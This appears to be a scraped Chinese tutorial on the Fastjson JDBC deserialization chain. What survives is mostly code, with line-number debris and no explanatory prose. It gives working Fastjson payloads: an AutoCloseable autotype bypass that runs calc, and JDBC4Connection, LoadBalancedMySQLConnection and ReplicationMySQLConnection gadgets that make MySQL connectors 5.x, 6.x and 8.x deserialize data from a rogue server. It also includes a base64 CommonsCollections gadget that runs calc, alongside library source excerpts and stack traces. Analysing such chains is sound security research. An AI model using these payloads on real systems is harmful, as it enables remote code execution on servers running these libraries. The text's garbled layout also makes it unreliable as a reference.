手把手带你深入分析 Fastjson JDBC 调用链利用过程
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
99
1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class fastjson68 {
public static void main(String[] args) {
String exp="{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}";
JSON.parse(exp);
}
}
9
1
clazz = TypeUtils.getClassFromMapping(typeName);
9
1
Mysql connector 5.1.11-5.1.48
9
1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;
public class jdbc {
public static void main(String[] args) {
String exp="{\"name\": {\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"localhost\", \"portToConnectTo\": 53329, \"info\": { \"user\": \"deser_CC31_calc\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }}";
JSON.parse(exp);
}
}
9
1
2
3
4
5
6
7
8
9
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.55</version>
</dependency>
9
1
2
3
4
5
6
7
8
9
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.30</version>
</dependency>
9
1
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXEAfgAbAAAAAXQABGNhbGN0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOQ==
9
1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;
public class jdbc {
public static void main(String[] args) {
String exp="{\"name\": {\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"localhost\", \"portToConnectTo\": 53329, \"info\": { \"user\": \"deser_CC31_calc\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }}";
JSON.parse(exp);
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<init>:46, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
deserialze:966, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:766, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:386, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:555, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1380, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1346, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:156, JSON (com.alibaba.fastjson)
parse:166, JSON (com.alibaba.fastjson)
parse:135, JSON (com.alibaba.fastjson)
main:6, jdbc
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
try {
if (hasNull && this.beanInfo.kotlinDefaultConstructor != null) {
object = this.beanInfo.kotlinDefaultConstructor.newInstance();
for(i = 0; i < params.length; ++i) {
param = params[i];
if (param != null && this.beanInfo.fields != null && i < this.beanInfo.fields.length) {
fieldInfo = this.beanInfo.fields[i];
fieldInfo.set(object, param);
}
}
} else {
object = this.beanInfo.creatorConstructor.newInstance(params);
}
}
9
1
2
3
4
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
// TODO Auto-generated constructor stub
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
this.port = portToConnectTo;
this.database = databaseToConnectTo;
this.myURL = url;
this.user = info.getProperty(NonRegisteringDriver.USER_PROPERTY_KEY);
this.password = info
.getProperty(NonRegisteringDriver.PASSWORD_PROPERTY_KEY);
if ((this.user == null) || this.user.equals("")) {
this.user = "";
}
if (this.password == null) {
this.password = "";
}
9
1
2
3
4
5
6
try {
this.dbmd = getMetaData(false, false);
initializeSafeStatementInterceptors();
createNewIO(false);
unSafeStatementInterceptors();
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public void createNewIO(boolean isForReconnect)
throws SQLException {
synchronized (getConnectionMutex()) {
// Synchronization Not needed for *new* connections, but defintely for
// connections going through fail-over, since we might get the
// new connection up and running *enough* to start sending
// cached or still-open server-side prepared statements over
// to the backend before we get a chance to re-prepare them...
Properties mergedProps = exposeAsProperties(this.props);
if (!getHighAvailability()) {
connectOneTryOnly(isForReconnect, mergedProps);
return;
}
connectWithRetries(isForReconnect, mergedProps);
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void connectOneTryOnly(boolean isForReconnect,
Properties mergedProps) throws SQLException {
Exception connectionNotEstablishedBecause = null;
try {
coreConnect(mergedProps);
this.connectionId = this.io.getThreadId();
this.isClosed = false;
// save state from old connection
boolean oldAutoCommit = getAutoCommit();
int oldIsolationLevel = this.isolationLevel;
boolean oldReadOnly = isReadOnly(false);
String oldCatalog = getCatalog();
this.io.setStatementInterceptors(this.statementInterceptors);
// Server properties might be different
// from previous connection, so initialize
// again...
initializePropsFromServer();
9
1
2
3
4
5
6
7
if (this.queryInterceptors != null) {
T interceptedResults = this.invokeQueryInterceptorsPre(query, callingQuery, false);
if (interceptedResults != null) {
Resultset var41 = interceptedResults;
return var41;
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void populateMapWithSessionStatusValues(Connection connection,
Map<String, String> toPopulate) throws SQLException {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;
try {
toPopulate.clear();
stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
Util.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}
if (stmt != null) {
stmt.close();
}
}
}
9
1
2
3
4
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
public Object getObject(int columnIndex) throws SQLException {
checkRowPos();
checkColumnBounds(columnIndex);
int columnIndexMinusOne = columnIndex - 1;
if (this.thisRow.isNull(columnIndexMinusOne)) {
this.wasNullFlag = true;
return null;
}
this.wasNullFlag = false;
Field field;
field = this.fields[columnIndexMinusOne];
switch (field.getSQLType()) {
case Types.BIT:
case Types.BOOLEAN:
if (field.getMysqlType() == MysqlDefs.FIELD_TYPE_BIT && !field.isSingleBit()) {
return getBytes(columnIndex);
}
// valueOf would be nicer here, but it isn't present in JDK-1.3.1, which is what the CTS uses.
return Boolean.valueOf(getBoolean(columnIndex));
.......
case Types.LONGVARCHAR:
if (!field.isOpaqueBinary()) {
return getStringForClob(columnIndex);
}
return getBytes(columnIndex);
case Types.BINARY:
case Types.VARBINARY:
//判断数据是否为二进制数据,若为则进入case
case Types.LONGVARBINARY:
//判断是否为GEOMETRY类型数据
if (field.getMysqlType() == MysqlDefs.FIELD_TYPE_GEOMETRY) {
return getBytes(columnIndex);
//判断数据是否为blob或者二进制数据
} else if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getAutoDeserialize()) {
Object obj = data;
//data不为空且大于2
if ((data != null) && (data.length >= 2)) {
//判断是否为java反序列化数据 -84 -19为java对象序列化数据魔术头
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object
//进行反序列化调用readObject()
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(
Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
return data;
}
return getBytes(columnIndex);
case Types.DATE:
......
}
}
9
1
Mysql connector 6.0.2 or 6.0.3
9
1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
public class jdbc {
public static void main(String[] args) {
String exp="{\"name\": {\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"localhost\", \"portToConnectTo\": 62037, \"info\": { \"user\": \"deser_CUSTOM\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }}";
String aa="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\": {\"connectionString\":{\"url\":\"jdbc:mysql://localhost:62037/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CUSTOM\"}}}";
JSON.parse(aa);
}
}
9
1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
public class jdbc {
public static void main(String[] args) {
String exp="{\"name\": {\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"localhost\", \"portToConnectTo\": 62037, \"info\": { \"user\": \"deser_CUSTOM\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }}";
String aa="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\": {\"connectionString\":{\"url\":\"jdbc:mysql://localhost:62037/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CUSTOM&useSSL=false\"}}}";
JSON.parse(aa);
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
deserialze:966, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) [3]
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:85, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:794, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) [2]
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:766, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) [1]
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:386, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1380, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1346, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:156, JSON (com.alibaba.fastjson)
parse:166, JSON (com.alibaba.fastjson)
parse:135, JSON (com.alibaba.fastjson)
main:7, jdbc
9
1
2
3
public LoadBalancedMySQLConnection(LoadBalancedConnectionProxy proxy) {
super(proxy);
}
999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
public LoadBalancedConnectionProxy(ConnectionString connectionString) throws SQLException {
super();
List<String> hosts = ConnectionString.getHosts(connectionString.getProperties());
Properties props = connectionString.getProperties();
String group = props.getProperty(PropertyDefinitions.PNAME_loadBalanceConnectionGroup, null);
boolean enableJMX = false;
String enableJMXAsString = props.getProperty(PropertyDefinitions.PNAME_ha_enableJMX, "false");
try {
enableJMX = Boolean.parseBoolean(enableJMXAsString);
} catch (Exception e) {
throw SQLError.createSQLException(Messages.getString("MultihostConnection.badValueForHaEnableJMX", new Object[] { enableJMXAsString }),
SQLError.SQL_STATE_ILLEGAL_ARGUMENT, null);
}
if (group != null) {
this.connectionGroup = ConnectionGroupManager.getConnectionGroupInstance(group);
if (enableJMX) {
ConnectionGroupManager.registerJmx();
}
this.connectionGroupProxyID = this.connectionGroup.registerConnectionProxy(this, hosts);
hosts = new ArrayList<String>(this.connectionGroup.getInitialHosts());
}
// hosts specifications may have been reset with settings from a previous connection group
int numHosts = initializeHostsSpecs(connectionString, hosts, props);
this.liveConnections = new HashMap<String, ConnectionImpl>(numHosts);
this.hostsToListIndexMap = new HashMap<String, Integer>(numHosts);
for (int i = 0; i < numHosts; i++) {
this.hostsToListIndexMap.put(this.hostList.get(i), i);
}
this.connectionsToHostsMap = new HashMap<ConnectionImpl, String>(numHosts);
this.responseTimes = new long[numHosts];
String retriesAllDownAsString = this.localProps.getProperty(PropertyDefinitions.PNAME_retriesAllDown, "120");
try {
this.retriesAllDown = Integer.parseInt(retriesAllDownAsString);
} catch (NumberFormatException nfe) {
throw SQLError.createSQLException(
Messages.getString("LoadBalancingConnectionProxy.badValueForRetriesAllDown", new Object[] { retriesAllDownAsString }),
SQLError.SQL_STATE_ILLEGAL_ARGUMENT, null);
}
String blacklistTimeoutAsString = this.localProps.getProperty(PropertyDefinitions.PNAME_loadBalanceBlacklistTimeout, "0");
try {
this.globalBlacklistTimeout = Integer.parseInt(blacklistTimeoutAsString);
} catch (NumberFormatException nfe) {
throw SQLError.createSQLException(
Messages.getString("LoadBalancingConnectionProxy.badValueForLoadBalanceBlacklistTimeout", new Object[] { retriesAllDownAsString }),
SQLError.SQL_STATE_ILLEGAL_ARGUMENT, null);
}
String strategy = this.localProps.getProperty(PropertyDefinitions.PNAME_loadBalanceStrategy, "random");
try {
if ("random".equals(strategy)) {
this.balancer = (BalanceStrategy) Util
.loadExtensions(null, props, RandomBalanceStrategy.class.getName(), "InvalidLoadBalanceStrategy", null, this.log).get(0);
} else if ("bestResponseTime".equals(strategy)) {
this.balancer = (BalanceStrategy) Util
.loadExtensions(null, props, BestResponseTimeBalanceStrategy.class.getName(), "InvalidLoadBalanceStrategy", null, this.log).get(0);
} else {
this.balancer = (BalanceStrategy) Util.loadExtensions(null, props, strategy, "InvalidLoadBalanceStrategy", null, this.log).get(0);
}
} catch (CJException e) {
throw SQLExceptionsMapping.translateException(e);
}
String autoCommitSwapThresholdAsString = props.getProperty(PropertyDefinitions.PNAME_loadBalanceAutoCommitStatementThreshold, "0");
try {
this.autoCommitSwapThreshold = Integer.parseInt(autoCommitSwapThresholdAsString);
} catch (NumberFormatException nfe) {
throw SQLError.createSQLException(Messages.getString("LoadBalancingConnectionProxy.badValueForLoadBalanceAutoCommitStatementThreshold",
new Object[] { autoCommitSwapThresholdAsString }), SQLError.SQL_STATE_ILLEGAL_ARGUMENT, null);
}
String autoCommitSwapRegex = props.getProperty(PropertyDefinitions.PNAME_loadBalanceAutoCommitStatementRegex, "");
if (!("".equals(autoCommitSwapRegex))) {
try {
"".matches(autoCommitSwapRegex);
} catch (Exception e) {
throw SQLError.createSQLException(
Messages.getString("LoadBalancingConnectionProxy.badValueForLoadBalanceAutoCommitStatementRegex", new Object[] { autoCommitSwapRegex }),
SQLError.SQL_STATE_ILLEGAL_ARGUMENT, null);
}
}
if (this.autoCommitSwapThreshold > 0) {
String statementInterceptors = this.localProps.getProperty(PropertyDefinitions.PNAME_statementInterceptors);
if (statementInterceptors == null) {
this.localProps.setProperty(PropertyDefinitions.PNAME_statementInterceptors, LoadBalancedAutoCommitInterceptor.class.getName());
} else if (statementInterceptors.length() > 0) {
this.localProps.setProperty(PropertyDefinitions.PNAME_statementInterceptors,
statementInterceptors + "," + LoadBalancedAutoCommitInterceptor.class.getName());
}
props.setProperty(PropertyDefinitions.PNAME_statementInterceptors, this.localProps.getProperty(PropertyDefinitions.PNAME_statementInterceptors));
}
try {
this.balancer.init(null, props, this.log);
String lbExceptionChecker = this.localProps.getProperty(PropertyDefinitions.PNAME_loadBalanceExceptionChecker,
StandardLoadBalanceExceptionChecker.class.getName());
this.exceptionChecker = (LoadBalanceExceptionChecker) Util
.loadExtensions(null, props, lbExceptionChecker, "InvalidLoadBalanceExceptionChecker", null, this.log).get(0);
} catch (CJException e) {
throw SQLExceptionsMapping.translateException(e, null);
}
pickNewConnection();
}
99
1
2
3
4
5
6
7
8
9
10
public synchronized void pickNewConnection() throws SQLException {
if (this.isClosed && this.closedExplicitly) {
return;
}
if (this.currentConnection == null) { // startup
this.currentConnection = this.balancer.pickConnection(this, Collections.unmodifiableList(this.hostList),
Collections.unmodifiableMap(this.liveConnections), this.responseTimes.clone(), this.retriesAllDown);
return;
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public ConnectionImpl pickConnection(LoadBalancedConnectionProxy proxy, List<String> configuredHosts, Map<String, ConnectionImpl> liveConnections,
long[] responseTimes, int numRetries) throws SQLException {
int numHosts = configuredHosts.size();
SQLException ex = null;
List<String> whiteList = new ArrayList<String>(numHosts);
whiteList.addAll(configuredHosts);
Map<String, Long> blackList = proxy.getGlobalBlacklist();
whiteList.removeAll(blackList.keySet());
Map<String, Integer> whiteListMap = this.getArrayIndexMap(whiteList);
for (int attempts = 0; attempts < numRetries;) {
int random = (int) Math.floor((Math.random() * whiteList.size()));
if (whiteList.size() == 0) {
throw SQLError.createSQLException(Messages.getString("RandomBalanceStrategy.0"), null);
}
String hostPortSpec = whiteList.get(random);
ConnectionImpl conn = liveConnections.get(hostPortSpec);
if (conn == null) {
try {
conn = proxy.createConnectionForHost(hostPortSpec);
} catch (SQLException sqlEx) {
ex = sqlEx;
99
1
2
3
4
5
6
7
8
9
10
11
public synchronized ConnectionImpl createConnectionForHost(String hostPortSpec) throws SQLException {
ConnectionImpl conn = super.createConnectionForHost(hostPortSpec);
this.liveConnections.put(hostPortSpec, conn);
this.connectionsToHostsMap.put(conn, hostPortSpec);
this.activePhysicalConnections++;
this.totalPhysicalConnections++;
return conn;
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
synchronized ConnectionImpl createConnectionForHost(String hostPortSpec) throws SQLException {
Properties connProps = (Properties) this.localProps.clone();
String[] hostPortPair = ConnectionString.parseHostPortPair(hostPortSpec);
String hostName = hostPortPair[PropertyDefinitions.HOST_NAME_INDEX];
String portNumber = hostPortPair[PropertyDefinitions.PORT_NUMBER_INDEX];
if (hostName == null) {
throw new SQLException(Messages.getString("MultiHostConnectionProxy.0"));
}
if (portNumber == null) {
portNumber = "3306"; // use default
}
connProps.setProperty(PropertyDefinitions.HOST_PROPERTY_KEY, hostName);
connProps.setProperty(PropertyDefinitions.PORT_PROPERTY_KEY, portNumber);
connProps.setProperty(PropertyDefinitions.HOST_PROPERTY_KEY + ".1", hostName);
connProps.setProperty(PropertyDefinitions.PORT_PROPERTY_KEY + ".1", portNumber);
connProps.setProperty(PropertyDefinitions.NUM_HOSTS_PROPERTY_KEY, "1");
connProps.setProperty(PropertyDefinitions.PNAME_roundRobinLoadBalance, "false"); // make sure we don't pickup the default value
ConnectionImpl conn = (ConnectionImpl) ConnectionImpl.getInstance(this.connectionString, hostName, Integer.parseInt(portNumber), connProps);
conn.setProxy(getProxy());
return conn;
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.alibaba.fastjson.JSON;
public class jdbc {
public static void main(String[] args) {
String mysql5="{\"name\": {\"@type\": \"java.lang.AutoCloseable\", \"@type\": \"com.mysql.jdbc.JDBC4Connection\", \"hostToConnectTo\": \"localhost\", \"portToConnectTo\": 62037, \"info\": { \"user\": \"deser_CUSTOM\", \"password\": \"pass\", \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\", \"autoDeserialize\": \"true\", \"NUM_HOSTS\": \"1\" }}";
String mysql6="{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\"proxy\": {\"connectionString\":{\"url\":\"jdbc:mysql://localhost:62037/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CUSTOM&useSSL=false\"}}}";
String mysql8="\n" +
"{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection\",\n" +
" \"proxy\": {\n" +
" \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy\",\n" +
" \"connectionUrl\":{\n" +
" \"@type\":\"com.mysql.cj.conf.url.ReplicationConnectionUrl\",\n" +
" \"masters\":[{\n" +
" \"host\":\"\"\n" +
" }],\n" +
" \"slaves\":[],\n" +
" \"properties\":{\n" +
" \"host\":\"127.0.0.1\",\n" +
" \"user\":\"deser_CUSTOM\",\n" +
" \"dbname\":\"dbname\",\n" +
" \"password\":\"pass\",\n" +
" \"queryInterceptors\":\"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
" \"autoDeserialize\":\"true\"\n" +
" }\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(mysql8);
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<init>:116, ReplicationConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
deserialze:966, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:766, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:85, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:794, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:766, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:85, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:794, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:766, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:273, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:269, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:386, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1380, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1346, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:156, JSON (com.alibaba.fastjson)
parse:166, JSON (com.alibaba.fastjson)
parse:135, JSON (com.alibaba.fastjson)
main:30, jdbc
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public ReplicationConnectionUrl(List<HostInfo> masters, List<HostInfo> slaves, Map<String, String> properties) {
this.originalConnStr = Type.REPLICATION_CONNECTION.getScheme() + "//**internally_generated**" + System.currentTimeMillis() + "**";
this.originalDatabase = properties.containsKey(PropertyKey.DBNAME.getKeyName()) ? (String)properties.get(PropertyKey.DBNAME.getKeyName()) : "";
this.type = Type.REPLICATION_CONNECTION;
this.properties.putAll(properties);
this.injectPerTypeProperties(this.properties);
this.setupPropertiesTransformer();
Stream var10000 = masters.stream().map(this::fixHostInfo);
List var10001 = this.masterHosts;
var10001.getClass();
var10000 = var10000.peek(var10001::add);
var10001 = this.hosts;
var10000.forEach(var10001::add);
var10000 = slaves.stream().map(this::fixHostInfo);
var10001 = this.slaveHosts;
var10001.getClass();
var10000 = var10000.peek(var10001::add);
var10001 = this.hosts;
var10000.forEach(var10001::add);
}
9
1
